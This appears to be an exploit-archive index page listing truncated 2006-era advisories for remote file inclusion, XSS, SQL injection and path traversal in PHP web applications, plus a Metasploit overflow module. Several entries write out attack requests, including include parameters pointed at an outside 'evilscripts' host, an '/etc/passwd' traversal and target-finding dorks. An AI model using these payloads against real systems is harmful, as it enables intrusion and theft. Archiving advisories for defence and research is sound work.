eIQNetworks ESA License Manager LICMGR_ADDLICENSE Overflow

This module exploits a stack buffer overflow in eIQnetworks Enterprise Security Analyzer. During the processing of long arguments to the LICMGRADDLICENSE command, a stack-based buffer overflow occurs. This module has only been tested against ESA v2.1.13. This module requires Metasploit:...

[ECHO_ADV_46$2006] ExBB v1.9.1 (exbb[home_path]) Multiple Remote File Inclusion

ECHO.OR.ID ------------------------------------------------------------------------------ ECHOADV46$2006 ExBB v1.9.1 exbbhomepath Multiple Remote File Inclusion ------------------------------------------------------------------------------ Author : Ahmad Maulana a.k.a Matdhule Date Found : August...

Mambo/Joomla com_comprofiler Components <== v1.0 RC 2 Multiple Remote File Include Vulnerabilities

--------------------------------------------------------------------------- Mambo/Joomla comcomprofiler Components == v1.0 RC 2 Multiple Remote File Include Vulnerabilities --------------------------------------------------------------------------- Author : Matdhule Date : August, 25th 2006...

otopholder18.txt

vendor: http://www.jakeo.com vuln : http://host/foto/index.php?path=../../etc/passwd http://host/foto/index.php?path=xss http://host/foto/index.php?path=../../directory listing Author : Vampire [email protected] Homepage : Www.HackerZ.iR Www.H4ckerZ.Com Iran HackerZ Security Team...

pgmarket223.txt

C Y B E R - W A R R i O R T I M PgMarket 2.2.3 CFGlibdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: include $CFG"libdir" . "stdlib.inc.php"; Exploit: http://www.site.com/path/common.inc.php?CFGlibdir=http://evilscripts? Greetz: str0ke,...

Joomla! Component Webring 1.0 - Remote File Inclusion

C Y BE R - W A R R i O R T I M Joomla Webring Component componentdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: in admin.webring.docs.php, line 12 requireonce $componentdir. "mungdocs.class.php"; Google dork: inurl:comwebring Exploit:...

Joomla! Component Webring 1.0 - Remote File Inclusion

Joomla! Component Webring 1.0 - Remote File Inclusion C Y BE R - W A R R i O R T I M Joomla Webring Component componentdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: in admin.webring.docs.php, line 12 requireonce $componentdir...

TinyWebGallery v1.5 ( image ) Remote Include Vulnerability

C Y B E R - W A R R i O R TIM TinyWebGallery v1.5 image Remote Include Vulnerability ------------------------------------------------------------------------ ------ Author: xoron ------------------------------------------------------------------------ ------ Script: TinyWebGallery...

PgMarket 2.2.3 - 'CFG[libdir]' Remote File Inclusion

C Y B E R - W A R R i O R T I M PgMarket 2.2.3 CFGlibdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: include $CFG"libdir" . "stdlib.inc.php"; Exploit: http://server/path/common.inc.php?CFGlibdir=http://evilscripts? Greetz: str0ke, Preddy,...

PgMarket 2.2.3 - CFG[libdir] Remote File Inclusion

PgMarket 2.2.3 - CFGlibdir Remote File Inclusion C Y B E R - W A R R i O R T I M PgMarket 2.2.3 CFGlibdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: include $CFG"libdir" . "stdlib.inc.php"; Exploit:...

PgMarket <= 2.2.3 (CFG[libdir]) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications =================================================================== PgMarket = 2.2.3 CFGlibdir Remote File Inclusion Vulnerability =================================================================== C Y B E R - W A R R i O R T I M PgMarket...

Visual Events Calendar v1.1 &#40;cfg_dir&#41; Remote Inclusion Vulnerability

title: Visual Events Calendar v1.1 cfgdir Remote Inclusion Vulnerability Author: xoron script: Visual Events Calendar v1.1 Class : Remote cont@ct: x0r0nathotmaildotcom CODE: include $cfgdir."customizetext.php"; Exploit: http://www.site.com/path/calendar.php?cfgdir=http://evilscripts? Thanx :...

docpile:we 0.2.2 - INIT_PATH Remote File Inclusion

docpile:we 0.2.2 - INITPATH Remote File Inclusion TiTLE: docpile:we v0.2.2 INITPATH Remote File Inclusion Vulnerability - Author: xoron - Class : Remote - cont@ct: x0r0nathotmaildotcom - URL: http://docpile-we.berlios.de - Exploit:...

SaveWeb Portal <= 3.4 (SITE_Path) Remote File Inclusion Vulnerabilities

Exploit for unknown platform in category web applications ======================================================================= SaveWeb Portal = 3.4 SITEPath Remote File Inclusion Vulnerabilities ======================================================================= SaveWeb Portal 3.4 - SITEPa...

hotscripts.txt

Hotscripts.com Homepage: http://www.hotscripts.com Effected files: search input box adding a review Editing your profile sending a author a message. Creating a new listing ---------------------------------------- XSS vuln with cookie disclosure in search input box: For a PoC try putting:...

CMS Faethon 1.3.2 - 'mainpath' Remote File Inclusion

\ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV33$2006 --------------------------------------------------------------------------- ECHOADV33$2006 CMS Faethon 1.3.2 mainpath Remote File Inclusion...

CVE-2006-2880

Cross-site scripting XSS vulnerability in the Contributed Packages for PyBlosxom 1.2.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the Comments plugin in the 1 url and 2 author fields...

Cross site scripting

Cross-site scripting XSS vulnerability in the Contributed Packages for PyBlosxom 1.2.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the Comments plugin in the 1 url and 2 author fields...

timberland.txt

There's a vulnerability in Timberland's search engine. The variable 'keywords' in searchHandler/index.jsp is not correctly sanitized. URL: hxxp://www.timberland.com/searchHandler/index.jsp?keywords=XSS Code Example: hxxp://www.timberland.com/searchHandler/index.jsp?keywords=alert'test'; Author: O...

ProPublish 2.0 - catid SQL Injection

ProPublish 2.0 - catid SQL Injection ProPublish 2.0 catid Remote SQL Injection Vulnerability Thanks to soot : http://www.securityfocus.com/archive/1/435787/30/0/threaded Exploited by FarhadKey from kapda.ir Exploit :...